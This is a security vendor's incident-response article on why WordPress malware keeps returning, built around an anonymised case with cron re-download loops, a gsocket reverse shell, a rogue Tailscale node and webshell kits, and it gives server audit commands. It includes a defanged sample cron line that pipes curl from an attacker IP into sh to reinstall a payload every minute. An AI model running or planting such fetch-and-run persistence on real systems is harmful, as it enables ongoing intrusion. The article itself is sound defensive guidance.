Key takeaways

  • Malware that returns after a clean-up is almost always being re-installed by persistence you have not found yet.
  • Cron jobs that re-download a payload every minute are one of the most common causes.
  • Attackers often leave several independent backdoors: webshells, reverse shells, rogue VPN nodes and extra admin users.
  • Cleaning only the WordPress files misses server-level persistence entirely.
  • Break the cycle in order: contain, remove all persistence at once, fix the entry point, rotate every credential, then monitor.

Why does WordPress malware keep coming back?

WordPress malware keeps coming back because the clean-up removed the symptoms but not the persistence. Somewhere on the server, a scheduled task, hidden backdoor, rogue user or still-open vulnerability is putting the infection back. Until every one of those is found and removed together, each clean-up only buys you minutes, hours or days.

Attackers expect to be discovered. A well-run compromise does not rely on one infected file; it plants several independent ways back in so that removing any single one achieves nothing. The pattern is recognisable: you delete the malicious code, the site looks fine, and shortly afterwards the same files, redirects or spam pages reappear, often with a fresh timestamp.

The four usual culprits are:

  • Scheduled re-downloads. A crontab entry or systemd timer that fetches and re-installs the payload on a schedule.
  • Backdoors. Webshells, reverse shells, extra SSH keys, rogue WordPress administrators or remote-access tools.
  • An unfixed entry point. The vulnerable plugin, weak password or exposed panel is still there, so the attacker simply breaks in again.
  • Cross-contamination. Another site on the same server, still infected, reinfects the one you cleaned.

What does a real re-infection look like?

In a server clean-up we handled in August 2026, a hosting account running several WordPress sites was re-infected every sixty seconds. The owner had cleaned it repeatedly. The cause was a layered set of persistence: a crontab re-download loop, a gsocket reverse shell, a rogue Tailscale VPN node and ALFA and KINGSMAN webshell kits spread across the sites.

The details below are anonymised and use fictional names and addresses, but the structure is exactly what we found on acme-prod-01.

LayerWhat it didWhy the owner's clean-ups failed
Crontab entryDownloaded and ran a payload every minuteDeleted files were restored within a minute
gsocket reverse shellGave the attacker an interactive shell that connected outward through a relayOutbound connections bypassed inbound firewall rules
Rogue Tailscale nodeJoined the server to an attacker-controlled private networkProvided a second, encrypted route in that looked like legitimate VPN software
ALFA / KINGSMAN kitsPassword-protected web file managers in several sitesReturned fake 404 pages, so they looked absent
Rogue WP adminsExtra administrator accounts with plausible namesAllowed the attacker to reinstall malware through the dashboard

Removing any one layer made no difference. Removing all of them in a single, co-ordinated pass, then closing the entry point, ended the re-infection. The full write-up is in our root compromise clean-up case study.

How do cron jobs re-infect a website?

A malicious cron job is a scheduled command that fetches malware from a remote server and reinstalls it, typically every minute. Because it runs as the system user that owns the website, it can rewrite PHP files, recreate deleted webshells and re-inject code into index.php or wp-config.php faster than you can clean them.

These entries are often hidden in the web user's crontab rather than root's, in /etc/cron.d with a harmless-sounding file name, or disguised with long runs of whitespace so the command scrolls off the edge of the terminal. The example below is illustrative and defanged.

# Legitimate WordPress cron trigger
*/5 * * * * php /var/www/example.co.uk/wp-cron.php >/dev/null 2>&1

# Malicious re-download loop (defanged, truncated)
* * * * * curl -fsSL hxxp://198.51.100.23/.x/up[.]sh | sh >/dev/null 2>&1 ...
* * * * *                                                 (cd /tmp/.ICE-unix && ./.kworker ...)

To audit every scheduled task on a Linux server, check all of these locations, not just one:

# Per-user crontabs (including the web server user)
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done

# System-wide cron and timers
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron/crontabs
systemctl list-timers --all

# Show hidden whitespace tricks
cat -A /var/spool/cron/crontabs/www-data

Tip: remove the cron entry before deleting the files it restores. Otherwise you are racing a one-minute timer.

Security triage

Is your site showing any of this?

Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.

Start the triage

What other backdoors cause re-infection?

Beyond cron, attackers keep access through reverse shells, remote-access and VPN software, systemd services, fake system binaries, extra SSH keys and rogue WordPress administrators. Each is independent, so any one left behind lets them restore everything else. A thorough clean-up checks every category, not just the ones that caused visible symptoms.

Reverse shells such as gsocket

A reverse shell connects outward from your server to the attacker, so inbound firewall rules do not stop it. gsocket-style tools route that connection through a public relay and often rename their process to mimic a kernel thread. Look for processes with bracketed names that have a real executable path, and for long-lived outbound connections.

# Outbound connections with owning process
ss -tupn state established

# A real kernel thread has no executable; a fake one does
ls -l /proc/*/exe 2>/dev/null | grep -E "/tmp|/dev/shm|/var/tmp|deleted"
lrwxrwxrwx 1 www-data www-data 0 Aug 14 03:12 /proc/48213/exe -> /dev/shm/.x/[kworker/0:2] (deleted)

Rogue VPN nodes

Legitimate tools can be abused as backdoors. In our incident, Tailscale had been installed and logged into an attacker's account, giving them a private route to the server. If you do not use a VPN client, it should not be installed; if you do, confirm the server belongs to your own network.

systemctl status tailscaled
tailscale status
100.101.102.103  acme-prod-01   unknown-user@   linux   -

WordPress-level backdoors

Check for administrators you do not recognise, must-use plugins you did not install, and changes to wp-config.php.

wp user list --role=administrator --fields=ID,user_login,user_email,user_registered
ls -la wp-content/mu-plugins/
-rw-r--r-- 1 www-data www-data 18342 Aug 14 03:10 wp-cache-helper.php

How do you stop malware coming back for good?

To stop re-infection, remove every persistence mechanism in one co-ordinated pass, then close the original entry point and rotate every credential the attacker could have seen. Doing things in the wrong order, or over several days, lets surviving backdoors restore the ones you removed. Afterwards, monitor closely for anything that reappears.

  1. Contain. Restrict inbound access to your own IP addresses, block known attacker addresses outbound, and take a snapshot or backup for evidence.
  2. Map all persistence first. Cron, timers, systemd units, processes, network connections, VPN clients, SSH keys, users, webshells and WordPress admins, across every site on the server.
  3. Remove everything together. Kill the processes, disable the scheduled tasks and services, then delete or quarantine the files.
  4. Replace, don't patch. Reinstall WordPress core, plugins and themes from official sources rather than editing infected copies.
  5. Close the entry point. Update or remove the vulnerable component and fix any weak access such as password SSH logins.
  6. Rotate credentials. WordPress users, database, SFTP, SSH keys, hosting panel, API keys and WordPress salts.
  7. Harden and watch. Block PHP in uploads, disable file editing and monitor for new files, cron entries and users.

Important: if an attacker has had root access, you cannot fully trust the operating system. A clean rebuild onto a fresh server, with verified site files and data migrated across, is often the safer option.

For the hardening step, work through our WordPress hardening checklist. If you are still in the first hour of an incident, read emergency malware removal: the first hour.

How can PatientZero help?

PatientZero is built for exactly this problem. The platform connects to your server over SSH, runs a Forensic scan across every site, cron table, service and user, removes all persistence in one pass, fixes the entry point and applies Harden playbooks. Monitoring then watches for anything trying to return, and unlimited malware removal is included on every plan.

Every action is recorded in the Activity log, and you receive a plain-English report with a technical timeline and a list of any remaining risks. If your site keeps getting reinfected, see our WordPress malware removal and server malware removal services, or get emergency help now.

Frequently asked questions

Why does my WordPress site get hacked again straight after cleaning?

Usually because a persistence mechanism survived: a cron job re-downloading the malware, a webshell you did not find, a rogue admin account or the original vulnerability. Re-infection within minutes almost always points to a scheduled task on the server rather than a fresh attack.

Will changing my passwords stop the re-infection?

Not on its own. Password changes stop attackers who log in, but cron jobs, webshells, reverse shells and VPN backdoors do not need passwords. Rotate credentials after removing all persistence, otherwise the attacker can simply read the new ones from wp-config.php.

Can a security plugin remove cron job malware?

Generally not. WordPress security plugins run inside WordPress and cannot see or edit system crontabs, systemd services or processes running as other users. Server-level persistence needs server-level access to find and remove. A plugin may clean the files a cron job restores, which is why the same alerts keep firing every time it runs.

Should I move to a new server instead of cleaning?

If the attacker gained root access, rebuilding onto a fresh server is often the safest route, because a compromised operating system can hide things. For site-level compromises, a thorough clean with hardening is usually enough. A forensic scan tells you which situation you are in.

How do I know the malware has really gone?

Check that no files, cron entries, users or processes reappear over the following days, and that external scans and Google Search Console stay clean. Continuous file-integrity and cron monitoring gives you an early warning if anything tries to come back.

PatientZero Incident Response Team · Digital forensics and incident response

Written by the PatientZero incident response team: the engineers who investigate and clean compromised WordPress sites and Linux servers every week.